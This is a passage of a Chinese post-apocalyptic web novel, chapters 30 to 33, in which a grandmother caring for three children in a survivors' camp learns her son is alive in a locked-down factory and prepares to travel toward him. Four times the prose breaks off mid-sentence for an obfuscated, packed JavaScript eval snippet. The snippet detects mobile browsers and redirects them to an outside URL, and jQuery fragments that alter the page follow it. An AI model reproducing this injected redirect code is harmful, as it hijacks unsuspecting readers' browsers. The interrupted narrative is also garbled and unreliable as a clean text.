可这一天,和以往所有的日子,都不一样了。
她心里有了光。
哪怕那光很弱、很远、隔着重重危险,她也愿意一步一步,朝着那个方向,走下去。
她站起身,简单活动了一下僵硬的身体,开始收拾窝棚,烧水,准备迎接清晨的食物分发,准备白天的劳作。
一切如常。
一切,又早已不同。
而她并不知道,此刻在机械厂废墟深处,那个叫做张强的男人,也正靠着残破的墙壁,手里攥着一张皱得不成样子的旧照片,照片上是年幼的小宝,眉眼和如今一般无二。
他也在一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509499|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天一天,熬着重伤疲惫的日子,等着一个能离开厂区、寻找亲人的机会。
母子两人,隔着十几里废弃城区,隔着生死未卜的路途,在同一片天光之下,各自咬牙,朝着彼此的方向,默默坚持。
天边刚翻出鱼肚白,薄凉的晨雾就裹着安全区,连窝棚顶上的油毡布都凝着一层细密的水珠,风一吹,便顺着边角滚落,砸在脚下的黄土上,洇出一小片深色的湿痕。王桂香是在浅眠中醒过来的,一夜思绪翻涌,闭眼是儿子张强的模样,睁眼是身边三个熟睡的孩子,半梦半醒间,竟比整日奔波还要疲累,可她的精神却异样地清明,没有半分往日的昏沉。
她不敢挪动身子,生怕惊扰了怀里的小宝,也怕吵醒身侧的乐乐和妞妞,只是微微睁开眼,借着从窝棚缝隙透进来的微弱天光,细细打量着孩子们的睡颜。小宝的眉头依旧微微蹙着,大概是梦里还残留着些许不安,可呼吸却平稳绵长,小脑袋紧紧贴着她的胳膊,全然是孩童对长辈的依赖;乐乐侧着身子,一只手依旧攥着她的衣角,即便在睡梦里,也保持着那份超乎年龄的警惕,像是在默默守护着身边的人;妞妞睡得最沉,小嘴巴微微嘟着,嘴角还带着一丝浅浅的笑意,想必是做了什么香甜的梦,或许是梦到了热乎的干粮,或许是梦到了再也没有坏人的安稳日子。
王桂香的指尖轻轻拂过孩子们的发丝,动作轻柔得像是怕碰碎了什么珍宝,粗糙的掌心带着薄茧,划过孩子柔嫩的肌肤时,刻意放轻了力道。昨夜林晓和林生的对话,还一字一句地刻在她的脑海里,“张强”“机械厂”这几个字眼,如同滚烫的炭火,在她心底反复灼烧,既给了她无尽的期盼,又让她平添了数不尽的担忧。她不敢去问林生,怕自己的急切打乱了原本的计划,更怕到头来只是一场空欢喜,让好不容易安稳下来的孩子们,再次跟着她陷入失望的煎熬里。
她只能把这份满心的期盼,死死压在心底,表面上依旧装作和往日一般无二,依旧是那个只求护住孩子、安稳求生的老太太,不敢露出半分异样。在这人心复杂的末世里,情绪外露从来都是致命的,尤其是关乎寻亲、关乎自身来历的事,哪怕是对林生父女这样的好心人,她也只能按捺住满心的急切,静静等待林晓打探来确切的消息。
不知过了多久,天边的天光渐渐亮了起来,晨雾慢慢散去,窝棚外开始传来细碎的声响——志愿者收拾物资的动静、治安队巡逻的脚步声、幸存者们起身活动的轻响,还有零星几声孩童的啼哭,很快就被大人轻声安抚下去。整个安全区在清晨的微光里,缓缓苏醒,依旧是那份带着疲惫却井然有序的模样,没有荒野的死寂,没有棚户区的喧嚣,只有平淡的烟火气,和潜藏在暗处的小心翼翼。
乐乐最先醒了过来,他没有立刻出声,只是缓缓睁开眼,看清了身边的人,确认身处安全的窝棚里,紧绷的身体才慢慢放松下来。他轻轻抽回攥着王桂香衣角的手,揉了揉惺忪的睡眼,动作轻缓,生怕吵醒小宝和妞妞,随后慢慢坐起身,小声喊了一句:“奶奶。”
30. 第 30 章
“醒啦?”王桂香压低声音,脸上露出一抹温和的笑意,伸手帮他理了理凌乱的头发,“再歇会儿吧,天刚亮,等林爷爷起来,咱再去领早饭。”
乐乐摇了摇头,小大人似的点了点头,目光下意识地扫向窝棚门口,带着一丝警惕:“我不睡了,奶奶,我看着弟弟妹妹。”
王桂香看着他懂事的模样,心里一阵酸涩,又满是暖意。这个孩子,自从和家人失散后,就一直跟着她颠沛流离,早已褪去了孩童的天真烂漫,学会了隐忍和守护,若是在末世前,这般年纪的孩子,本该在父母怀里撒娇,无忧无虑地玩耍,哪用得着这般早早扛起心事。
没过多久,小宝和妞妞也陆续醒了,妞妞醒来后,依偎在王桂香怀里,软糯地喊着“奶奶”,声音带着刚睡醒的沙哑,格外惹人怜惜;小宝则安静地看着王桂香,眼神里满是依赖,不再像刚被救出来时那般沉默惶恐,渐渐有了孩童该有的模样。
王桂香挨个帮孩子们擦了脸,整理好身上的旧衣物,把衣角扯平,把领口理顺,尽管衣服都是破旧不合身的,可她依旧要把孩子们收拾得干干净净,这是她在这乱世里,能给孩子们为数不多的体面。
这时,林生也醒了,他起身伸了个懒腰,脸上带着些许疲惫,夜里他也睡得不沉,时刻留意着窝棚外的动静,生怕再有歹人前来滋事。他看到王桂香和孩子们都已起身,笑着说道:“大娘,醒得早啊,我去门口看看,等会儿咱就去广场领早饭,今天听说有稀粥和玉米面饼,还有点野菜汤,够孩子们吃饱了。”
王桂香点了点头,语气平和,刻意压下了心底的急切,没有提起打听张强的事:“辛苦你了,林同志,俺在家把东西收拾收拾,把水壶装满水,白天干活也方便。”
林生应了一声,转身掀开布帘,走出了窝棚,他自然明白王桂香的心思,知道她心里盼着消息,却又不敢多问,便也没有主动提及,只想着等林晓有了准信,再好好跟她说,免得她空等一场,徒增伤心。
王桂香看着林生出去的背影,深深吸了一口气,压下心底翻涌的情绪,开始收拾窝棚。她把干草铺整理平整,把桌上的碗筷摆放整齐,把林生码放的树枝又归拢了一番,又把孩子们换下来的脏衣服叠好,放在门口的角落,打算等有空了再去清洗。她动作麻利,一丝不苟,把小小的窝棚收拾得干干净净,透着一股温馨的烟火气,这是她在乱世里,唯一能给孩子们的安稳角落。
不多时,林生回到窝棚,朝着王桂香说道:“大娘,广场那边开始发饭了,咱过去吧,去晚了怕是要排很久的队。”
王桂香点了点头,拿起桌上的几个破旧瓷碗,又把帆布包背在身上,里面装着水壶和仅剩的几颗野山楂,随后牵着三个孩子,跟在林生身后,朝着中央广场走去。
清晨的阳光透过云层洒下来,暖融融的,驱散了夜里的凉意,窝棚之间的通道上,往来的幸存者渐渐多了起来,人人手里都拿着碗盆,沉默地朝着广场走去,彼此擦肩而过,没有多余的交谈,只有细碎的脚步声。王桂香牵着孩子,紧紧跟在林生身侧,目光平静地看着前方,可心底却始终悬着,时不时会想起林晓的话,想起那个可能存在的儿子,脚步也不自觉地慢了几分。
到了广场,队伍已经排得很长,却依旧秩序井然,志愿者们忙碌地分发着食物,治安队队员在一旁值守,目光巡视着四周,一切都和往日一样。王桂香带着孩子排在林生身后,安静地等待着,妞妞好奇地张望着四周,小眼睛里满是新奇,却紧紧攥着王桂香的衣角,不敢远离;小宝安静地站着,时不时抬头看看王桂香;乐乐则站在最外侧,警惕地看着周围的人群,守护着奶奶和弟弟妹妹。
队伍缓缓向前移动,很快就轮到了他们,负责分发食物的志愿者依旧是那个中年妇女,看到王桂香,笑着点了点头,熟练地拿出五张玉米饼、五碗稀粥,还有一小份野菜汤,分别递到他们手里,特意多给了妞妞一小块饼:“孩子小,多吃点,长得壮实。”
王桂香连忙道谢,双手接过食物,心里满是感激,在这艰难的世道里,这样不经意的善意,总能让她心头一暖。
几人端着食物,走到广场角落的僻静处,蹲下身慢慢吃了起来。玉米饼粗糙饱腹,稀粥温热暖胃,野菜汤清淡解腻,孩子们吃得很香,小口小口地咀嚼着,珍惜着每一口食物,不再像往日那般狼吞虎咽,渐渐有了安稳过日子的模样。林生一边吃着,一边和王桂香说着分拣点的事,叮嘱她白天干活不要太拼命,量力而行,看好孩子最重要,王桂香一一应下,认真听着,偶尔回应几句,语气平和,没有露出半分急切。
吃完早饭,几人把碗碟送回回收处,林生便要去物资分拣点干活,临走前再次叮嘱王桂香,带着孩子慢慢过去,不用着急,他会提前跟老赵打好招呼。王桂香点头答应,看着林生离开后,才牵着孩子,慢慢朝着分拣点走去。
一路上,她的脚步格外沉稳,目光始终落在孩子们身上,可心底的期盼却越来越浓。她想着,若是林晓打探到的消息属实,儿子真的在机械厂,那她该怎么办?是带着孩子冒险过去找他,还是在安全区等着他来找自己?机械厂路途遥远,一路危机四伏,带着三个孩子,根本不可能平安抵达,可若是等着,又不知道要等到何时,儿子在厂里,是否能自由行动,是否也在四处寻找她们,这些都是未知数。
她越想心越乱,可看着身边三个乖巧懂事的孩子,又慢慢平静下来。不管怎样,当下最重要的,是护住孩子们,在安全区安稳活下去,好好干活,赚取口粮,不拖累林生父女,静静等待确切的消息
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509500|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。心急解决不了任何问题,只会乱了分寸,在这末世里,唯有沉稳、隐忍,才能活下去。
走到物资分拣点,老赵已经在场地里忙碌,看到王桂香,朝着她点了点头,指了指昨日她干活的角落:“大娘,今天还是在那干活,衣物都给你备好了,慢慢干,别着急,看好孩子。”
王桂香连忙道谢,牵着孩子走到角落,让他们乖乖坐在身边,自己则坐下,拿起旧衣物,开始认真分拣。她的动作比昨日更加熟练,心思却有几分飘忽,时不时会想起儿子的模样,想起末世前一家人团聚的场景,眼眶不自觉地泛红,可她很快就忍住了,低头继续干活,把满心的思绪,都倾注在手里的活计上。
她分拣着一件件旧衣物,把完好的叠放整齐,把破损的挑出来,把不能穿的剪成布条,手指被粗糙的布料磨得发红,裂口隐隐作痛,腰背也渐渐酸痛起来,可她丝毫没有停歇。干活的时候,能让她暂时忘却心底的急切和担忧,能让她心里踏实,这是她靠自己的双手,为孩子们赚取口粮,为自己挣得一席之地,这份踏实,是任何东西都替代不了的。
乐乐坐在一旁,时不时帮王桂香递一下衣物,小宝安静地看着,妞妞则摆弄着身边的小石子,三个孩子都很懂事,不吵不闹,安安静静地陪着她,引得周围劳作的人,时不时投来温和的目光。
临近中午,阳光渐渐毒辣,晒得人浑身发烫,王桂香额头上渗出细密的汗珠,顺着脸颊滑落,滴在衣物上,晕开一小片湿痕。她抬手擦了擦汗水,依旧没有停歇,心里想着,多干一点,就能多换一点食物,孩子们就能多吃一口,若是往后真的要去找儿子,多积攒一点食物,路上也能多一份保障。
就在这时,远处传来一阵熟悉的脚步声,王桂香下意识抬头看去,只见林晓穿着白色护士服,背着医药包,朝着分拣点走来,脸上带着温和的笑意,目光在人群里搜寻着,很快就看到了王桂香。
王桂香的心脏猛地一跳,手里的动作瞬间停了下来,心底的急切再也按捺不住,眼睛紧紧盯着林晓,眼神里满是期盼,等着她走近,等着她带来消息。
林晓慢慢走到王桂香身边,蹲下身,看了看三个孩子,笑着摸了摸妞妞的头,随后看向王桂香,压低声音,语气里带着一丝欣喜:“大娘,我打听到了,是张强叔,真的是他!”
短短一句话,如同惊雷,在王桂香的心底炸开,她浑身一震,手里的衣物掉落在地上,眼眶瞬间红了,泪水控制不住地涌了出来,嘴唇微微颤抖,半天说不出一句话,只是死死盯着林晓,确认自己没有听错。
“真的是张强叔,”林晓再次轻声说道,语气肯定,“我问清楚了,老家和你说的一样,孩子叫小宝,今年七岁,左眉有疤,他一直在找你们,就在城西的机械厂,没错的。”
31.第 31 章
王桂香再也忍不住,泪水顺着脸颊滑落,滴在地上,她哽咽着,半天挤出一句话:“真的……真的是俺儿子……俺终于找到他了……”
这么久的奔波,这么久的煎熬,这么久的期盼,在这一刻,终于有了结果。她找了这么久,盼了这么久,终于有了儿子的消息,终于知道他还活着,终于知道,他们一家人,还有团聚的希望。
林晓看着她激动的模样,心里也满是感慨,轻声安慰道:“大娘,别哭,是好事,张强叔还活着,你们很快就能团聚了。”
王桂香擦了擦眼泪,用力点了点头,看着身边的三个孩子,又看向林晓,满心的感激,不知该如何表达。她知道,这份恩情,她这辈子都报答不完,若不是林生父女的收留和帮助,她或许永远都找不到儿子的消息。
“好孩子,多谢你,多谢你们父女俩……”王桂香哽咽着说道,声音里满是感激。
“大娘,不用客气,”林晓笑了笑,“只是机械厂那边路途危险,还有基地的人在盘查,不能贸然过去,我和我爸商量了,慢慢想办法,一定让你们一家人团聚。”
王桂香点了点头,渐渐平复了激动的情绪,她知道林晓说得对,越是这个时候,越不能冲动,一定要沉住气,等待合适的时机,才能和儿子团聚。
她捡起地上的衣物,重新坐好,眼底满是坚定的光芒。此刻,她不再迷茫,不再担忧,心里有了明确的方向,有了无尽的动力。她知道,前路依旧充满危险,可只要有儿子在,有孩子们在,她就有勇气面对一切,就一定能带着孩子们,和儿子团聚,一家人再也不分开。
阳光洒在她的身上,暖融融的,窝棚里的烟火气,身边孩子的陪伴,寻亲得讯的喜悦,交织在一起,成了这乱世里,最温暖的光。王桂香握着手里的衣物,动作更加坚定,她知道,新的希望,已经来临,一家人团聚的日子,不远了。
天光从正午的炽烈,慢慢滑向傍晚的柔和。安全区里的炊烟袅袅升起,混合着淡淡的野菜与柴火燃烧的气息,这是这片废墟之上难得的人间烟火。王桂香坐在物资分拣点的角落,手里正拿着一把剪刀,咔嚓咔嚓剪着一块不能再穿的粗布,准备留给孩子们做擦脸的抹布。
她的动作极快,手指却因为昨夜激动难眠,加上今日一整天的忙碌,此刻正微微发颤。剪刀落下的弧度,比往日慢了半拍,每一下都像是在掂量着什么。心里那个既定的事实——张强还活着,就在城西机械厂——如同在平静湖面投下了一颗巨石,激起的涟漪久久不散,让她这颗早已在风霜里磨硬的心,再次滚烫了起来。
“奶奶。”
一声软糯的轻唤拉回了她的思绪。妞妞小手扯了扯她的衣袖,递过来一颗红彤彤的野山楂,那是昨天剩下的,一直被王桂香宝贝似的收在帆布包里。
“给,妞妞吃。”王桂香勉强挤出一个笑意,把山楂推回去,却被妞妞按在她手心里。
“奶奶吃,奶奶干活累。”妞妞睁着圆溜溜的眼睛,固执地把山楂往她手里塞。
王桂香心里一软,捏着那颗山楂,温热的触感传来。她转头看了一眼乐乐和小宝,两个男孩正安静地坐在一边,乐乐帮小宝整理着衣领,小宝则目不转睛地盯着奶奶手里的活计,小脸沉静,全然没有了在棚户区仓库里的惊恐。
这三个孩子,是她此刻最坚实的软肋,也是最硬的铠甲。
一旦决定要去见张强,这一路,穿过大片无人区,跨过数不清的废墟烂尾楼,还要躲避基地巡逻队的眼线,带着三个半大的孩子,简直是送死。
可若是不去等……机械厂路途遥远,厂区由谁掌控?里面秩序严不严?张强能不能自由离开?若是他以为这边遭遇了不测,彻底放弃寻找,那她们一家,岂不是还要错过最后的团聚机会?
王桂香的心,被这两种极端的情绪撕扯着。她不敢看林晓,怕自己眼里的急切露馅,更怕林晓看出她那点不切实际的冲动。
下午的劳作结束,老赵结算了工分,王桂香今天依旧干得卖力,超额完成了任务,换来了一个半饼的奖励。她没有自己留,转手把那半块饼递给了乐乐,自己只要了一碗野菜粥。
“奶奶,你吃。”乐乐把饼推回来,小脸皱着,“我不饿,弟弟妹妹也不饿。”
“让你拿着就拿着。”王桂香板起脸,语气却带着藏不住的温柔,“你们正是长身体的时候,得吃饱。奶奶老了,吃不多,这点野菜粥就够了。”
她硬把饼塞进乐乐手里,牵着三个孩子,跟着林生往窝棚的方向走。夕阳的余晖把他们的影子拉得老长,投在坑洼的黄土路上,显得格外孤单。
回到窝棚,林生去医疗点接林晓下班,王桂香把孩子们安顿好,让他们玩着捡来的小石子,自己则坐在门口的小板凳上,望着远处机械厂所在的方向。那里隔着十几里的废墟,看不见,摸不着,却像是一颗定海神针,稳住了她飘摇已久的心。
夜色渐浓,安全区里亮起了昏黄的煤油灯。林生父女回来了,林晓手里提着一个布包,里面装着从医疗点带回来的残羹剩饭和一点点药品。
一进门,林生就看出了王桂香的不对劲。她坐在那里,脊背挺直,眼神却有些飘忽,手里的木棍无意识地拨弄着地上的泥土,全然没了往日的沉稳。
“大娘,怎么了?心事重重的。”林生放下医药包,在她对面坐下,给她递过一个粗陶碗,碗里是温水。
王桂香接过水,喝了一口,温水滑过喉咙,却压不住心底的焦躁。她转头看向林生,那双布满皱纹的眼睛里,满是恳切:“林同志,俺想问问,那机械厂……到底是个什么情况?”
林生愣了一下,随即反应过来,看向林晓。林晓会意,走到王桂香身边,蹲下身子,轻声说道:“大娘,我问清楚了。那个机械厂,以前是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511897|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
省城里的大型重工机械厂,末世爆发后,里面的工人和附近的幸存者自发守了下来,算是周边比较大的一个聚居点。”
她顿了顿,语气变得严肃起来:“但是,里面规矩很严。管事的是以前的一个车间主任,姓周,他把厂区封锁了,只许进不许出。里面的物资虽然比安全区充裕,可也是限量供应,所有人都得干活,甚至有人被限制了人身自由。”
“限制自由?”王桂香的心猛地一沉,“那……那俺儿子强子,他能随便出来吗?”
“这就是最难的地方。”林生眉头紧锁,“我听那个受伤的工人说,周主任查得很紧,进出厂区都要查路条,外面的流民想进去难,里面的人想出来,除非有特殊任务,或者……有管事的担保。”
王桂香的手微微一抖,陶碗里的水洒出几滴。
这么说来,张强被困在里面了?
那她们过去,根本进不去。
而张强想出来,又出不来。
这道无形的墙,横在了母子之间,让近在咫尺的重逢,变成了遥不可及的奢望。
“那……那有没有办法?”王桂香急切地问道,声音有些发哑,“俺不能让他一直关在里面,俺要去找他。带着孩子,俺走去找他。”
“大娘!”林生猛地提高了声音,脸色一沉,“你这是胡闹!那是十几里地!中间隔着多少无人区?全是游荡的感染者,还有基地的巡逻队,更有棚户区的流寇!你带着三个孩子,别说去机械厂了,怕是走到半路,就被邪祟拖走了!”
王桂香被噎得说不出话,她知道林生说得对。道理她都懂,可那是她找了大半年的儿子,是她在这世上唯一的根,怎么可能因为危险就放弃?
“林同志,俺知道危险。”王桂香深吸一口气,强迫自己冷静下来,压下眼底的红血丝,“可俺不能等。俺要是不去,万一他以为俺们没了,在里面随便找个人家安顿下来,那俺们这一路的苦,不就白吃了?”
“话不能这么说。”林晓也开口了,她的眼神很冷静,分析得条理清晰,“机械厂那边物资充足,周主任又是个强硬的,短时间内不会出问题。他在里面,有吃有喝,比在外面流浪安全多了。反倒是你们,现在在安全区,有林爷爷照应,有活干,饿不着,这才是最稳妥的地方。”
“可那不是俺的家。”王桂香低声说道,声音里满是落寞,“俺的家,在机械厂那边,俺的儿子在那边。”
窝棚里陷入了沉默。只有外面风吹过塑料布的哗啦声,还有孩子们睡熟后轻微的呼吸声。
林生看着王桂香,心里满是同情。他太懂这种骨肉分离的滋味了,末世里,多少家庭就是这么散了,再也聚不起来。他叹了口气,语气软了下来:“大娘,我不是不让你找儿子,只是得从长计议。安全区最近不太平,基地的人活动越来越频繁,我们这边要是大动干戈,容易被人盯上。”
32.第 32 章
“那……那林护士,你说,我们该怎么办?”王桂香像是抓住了最后一根救命稻草,眼巴巴地望着林晓。
林晓沉思片刻,眼中闪过一丝光芒:“大娘,倒不是完全没辙。只是这法子险,需要时间,还得看运气。”
“只要能见面,再险俺都干!”王桂香立刻说道,眼中燃起了火光。
“首先,得确认张强叔的具体位置。”林晓说道,“我明天去医疗点,会碰到更多机械厂来的人,或者听到关于那边的最新消息。我得想办法弄清楚,他在哪个车间,管事是谁,最近有没有外出的任务。”
“其次,安全区和机械厂之间,虽然隔着无人区,但我听说有几个隐秘的接头点,是一些幸存者私下设立的,用来传递物资和消息。”林生补充道,眼神锐利,“我去分拣点干活的时候,会留意那些经常来往的人,看看有没有谁认识机械厂的人,或者知道那些接头点在哪。”
“最后,也是最难的一步——我们得想办法,弄一张‘路条’,或者找一个能把你们带进去的机会。”林晓说道,“安全区的物资虽然是分发的,但有时候会有物资运送任务,需要人去外围的仓库搬运。这是最接近机械厂方向的机会。”
王桂香静静地听着,每一句都刻在心里。
“路条”这两个字,像一座大山,压在了她的面前。
在这末世,一张纸,比黄金还贵。
“可是,路条哪那么容易弄?”王桂香苦笑道,“俺们一没背景,二没钱财,在安全区里就是最底层的,谁会给俺们通路子?”
“确实难。”林生点头,承认了现实,“但不是完全没希望。老赵在分拣点有点面子,他是负责人,有时候能说上几句话。我打算明天干活的时候,求求他,看看能不能给大娘安排个去外围仓库的活。只要能出去,哪怕只是到中转站,也算离机械厂近了一步。”
“还有,”林晓从医药包里拿出一个小小的纸包,递给王桂香,“这是几包消炎药,还有一瓶消毒水。我跟医疗点的人熟,能弄到。你带着,万一路上孩子受伤,能救命。还有,这是一点压缩饼干,是我省下来的,你们藏好,关键时刻能顶饿。”
王桂香接过纸包,触感沉甸甸的。心里那股因为急切而悬着的气,终于慢慢落了下来,化作一股复杂的情绪,堵在喉咙口。
“林同志,林护士,你们……”她千言万语涌到嘴边,最后只化作一句,“俺不知道该怎么谢你们。”
“大娘,别说谢。”林生摆了摆手,脸上露出一抹苦笑,“在这末世里,大家都是互相撑着活。你要是真有心,等以后咱们一家团聚了,别忘了给晓燕留个念想。”
林晓也笑了,眼神温和:“大娘,我们不求别的,只希望你们一家人平平安安。前路肯定会有危险,基地的人、感染者、甚至安全区里可能存在的眼线,都得防。我们能做的,就是给你们铺铺路,剩下的,得靠大娘你自己的定力和勇气了。”
王桂香重重地点头,眼眶再次湿润。她站起身,对着林生父女深深鞠了一躬。这个躬,鞠得郑重,鞠得虔诚,鞠出了她在这乱世里,对善意最诚挚的感激。
“俺记住了。”她说道,声音坚定,“俺不冲动,俺等消息,俺攒力气。”
夜色更深了,窝棚里的灯火依旧昏黄。王桂香回到孩子们身边,看着他们熟睡的脸庞,轻轻抚摸着他们的额头。
计划已经定下。
路要慢慢走。
险要慢慢冒。
但重逢的日子,已经不再是遥不可及的梦。
她知道,接下来的日子,会更加艰难。安全区表面的平静之下,暗流正在不断涌动。基地的魔爪似乎已经伸到了周边,机械厂的封锁越来越严,每一个离开安全区的人,都要经过层层盘查。
可只要想到张强的脸,想到儿子也在那个方向,拼尽全力地寻找着她们,王桂香就觉得浑身充满了力量。
她悄悄从干草铺下摸出那把缠着布的柴刀,握在手里。冰凉的金属触感,让她瞬间清醒。
这把刀,曾经劈开过生路,曾经护卫过尊严,现在,它要护卫着她的孩子,护卫着她的希望,一步步,朝着那个名为“家”的终点,走过去。
第二天清晨,天刚蒙蒙亮,王桂香就跟着林生,早早地来到了物资分拣点。老赵正站在门口,清点工具。
林生主动走过去,递上一根烟(虽然是碎烟叶卷的),赔着笑脸说了几句。王桂香站在远处,看不见老赵的表情,只能看见林生时不时躬身,态度极为恭敬。
过了大概一刻钟,林生走了回来,脸上带着一丝不易察觉的欣喜。
“成了。”他低声对王桂香说道,“老赵答应了。明天一早,有个去外围中转站搬运物资的活,需要人手。他说你手脚麻利,孩子也乖,让你跟着去。只是丑话说在前头,到了中转站,不许乱跑,必须跟着队伍,哪怕看到熟人也不能搭话,否则被当成奸细,后果自负。”
王桂香的心,瞬间提到了嗓子眼。
这是第一步。
真正的第一步。
离机械厂,又近了一步。
她紧紧攥着拳头,指甲嵌进肉里,感觉到了那阵真实的痛感。这痛感让她清醒,让她明白,这一步踏出去,就是生死未卜。
但她没有退缩。
她看着身边三个还在睡梦中的孩子,看着远处那片被晨雾笼罩的废墟,深吸了一口气,缓缓吐出。
“俺知道。”她看着林生,眼神无比坚定,“俺都记住了。明天,俺去。”
清晨的风带着废墟特有的霉味,刮过塑料布屋顶,发出呜呜的轻响。王桂香是被自己急促的心跳醒的,一夜浅眠,脑子里全是机械厂的轮廓、路条的重量,还有三个孩子熟睡的小脸。她不敢翻身,怕惊扰了孩子们,只是睁着眼,看着窝棚缝隙里透进来的、灰扑扑的天光,一点点从暗蓝褪成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514775|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晨雾般的灰白。
身边的孩子们睡得安稳。妞妞压着小宝的胳膊,小嘴巴微微张开,发出一点细微的哼唧声;乐乐侧着身,一只手还搭在王桂香的衣角上,是孩童本能的依赖;小宝的眉头轻轻皱着,大概是梦里还绕着仓库的阴影,小小的身子往王桂香身边缩了缩,像只被风吹雨打过的小猫,要蜷在最暖的地方。
王桂香的指尖轻轻拂过小宝的眉骨,那道浅浅的疤痕在昏暗中若隐若现。她闭了闭眼,把心底那股翻涌的急切往下压了压。
去中转站,是离机械厂最近的路,也是最险的一步。
中转站在安全区外围五公里处,是以前的一个物流仓库改造的,幸存者们在那里临时囤积物资,往返安全区和周边几个聚居点。林生说,那里是鱼龙混杂的地方,基地的探子、机械厂的联络员、棚户区的流民、甚至还有些游荡的感染者残党,都可能混在里面。
而她,一个带着三个孩子的老太太,要在这样的地方,悄悄寻找机械厂的线索,还要守住孩子们,不能露出半分破绽。
难。
太难了。
可难,也得走。
她轻轻起身,动作慢得像片羽毛,先把孩子们的被子掖好,又把帆布包往身边拉了拉——包里装着林晓给的消炎药、压缩饼干,还有那把裹着黑布的柴刀。最后,她蹲在门口,借着微弱的天光,仔细检查了一下麻布门帘的绳结,确认系得牢靠,这才轻轻掀开一条缝,往外看了看。
晨雾很重,像一层厚厚的棉絮,裹住了整片窝棚区。远处的治安队巡逻灯还亮着,一点昏黄的光在雾里忽明忽暗,脚步声沉稳规律,给这片废墟添了一丝微弱的秩序。通道上已经有了零星的人影,都是去广场领早饭的幸存者,一个个沉默着,脚步匆匆,没人多言。
王桂香深吸了一口湿冷的空气,转身回窝棚,轻轻拍了拍孩子们的后背,声音压得极低:“乐乐,小宝,妞妞,醒醒,咱起床了,今天要出远门。”
孩子们睡得浅,被轻轻一拍就醒了。妞妞揉着眼睛,软糯地喊“奶奶”,乐乐则立刻坐直了身子,眼神里带着点清醒的警觉,小宝也跟着坐起来,小手抓着王桂香的衣角,不说话,却紧紧跟着。
“今天咱去外面搬东西,路上不能哭,不能闹,不能跟陌生人说话,哪怕问咱话,也得等奶奶点头,知道吗?”王桂香一边帮孩子们理衣服,一边低声叮嘱,语气里带着刻意的平静,却藏着一丝不易察觉的紧张。
三个孩子都懂事,齐齐点头。乐乐小大人似的拍着胸脯:“奶奶放心,我看好弟弟妹妹,不说话。”
王桂香心里一暖,又有点发酸。她把孩子们换下来的脏衣服胡乱塞进包里,又把昨晚收拾好的瓷碗装了点冷水,背好帆布包,牵着三个孩子的手,朝着窝棚外走去。
林生已经在门口等着了,他穿了一件洗得发白的旧外套,肩上扛着一个破旧的编织袋,里面装着分拣点的工具。
33.第 33 章
看到王桂香过来,他快步迎上来,压低声音:“大娘,都准备好了?孩子都带上了?”
“带上了,都听话。”王桂香点点头,看了一眼远处广场的方向,“咱不去领早饭了?”
“我跟老赵说了,带点路上的干粮,中转站有发的,虽然不多,够垫肚子。”林生往王桂香手里塞了一个布包,“这里是两个玉米面饼,还有半包野菜干,省着吃。孩子的水我装满了,别让他们喝太急。”
布包沉甸甸的,透着林生手心的温度。王桂香眼眶一热,连忙别过脸,怕孩子们看见:“林同志,你这……”
“别说这些,路上小心。”林生打断她,眼神严肃,“到了中转站,跟着队伍走,别单独行动。我跟老赵打了招呼,带队的是老周,是个老实人,不会为难你们。但不管谁问,都只说自己是安全区来的,来干搬运活的,别提机械厂,别提寻亲,更别露破绽。”
“俺记住了。”王桂香把布包紧紧攥在手里,指节发白,“孩子们就拜托你多照应几天,俺们很快回来。”
“放心,我每天都去分拣点,会跟老赵打听你们的消息。”林生拍了拍她的肩膀,“记住,稳,慢,别慌。孩子要是哭,就哄一哄,用饼子骗一骗,千万别让他们乱说话。”
王桂香点头,牵着孩子,跟着林生往广场走。队伍已经排得很长,幸存者们都安静地等着,没人注意到这一老三小的异样。王桂香没去排队,只是从林生给的布包里拿出一小块饼,分给三个孩子,自己只拿了一点点野菜干。
“奶奶不吃吗?”妞妞举着饼,小眼睛看着她。
“奶奶不饿,你们吃。”王桂香摸了摸她的头,声音尽量轻松,“吃完咱就跟着林爷爷去外面玩,搬搬东西,挣吃的。”
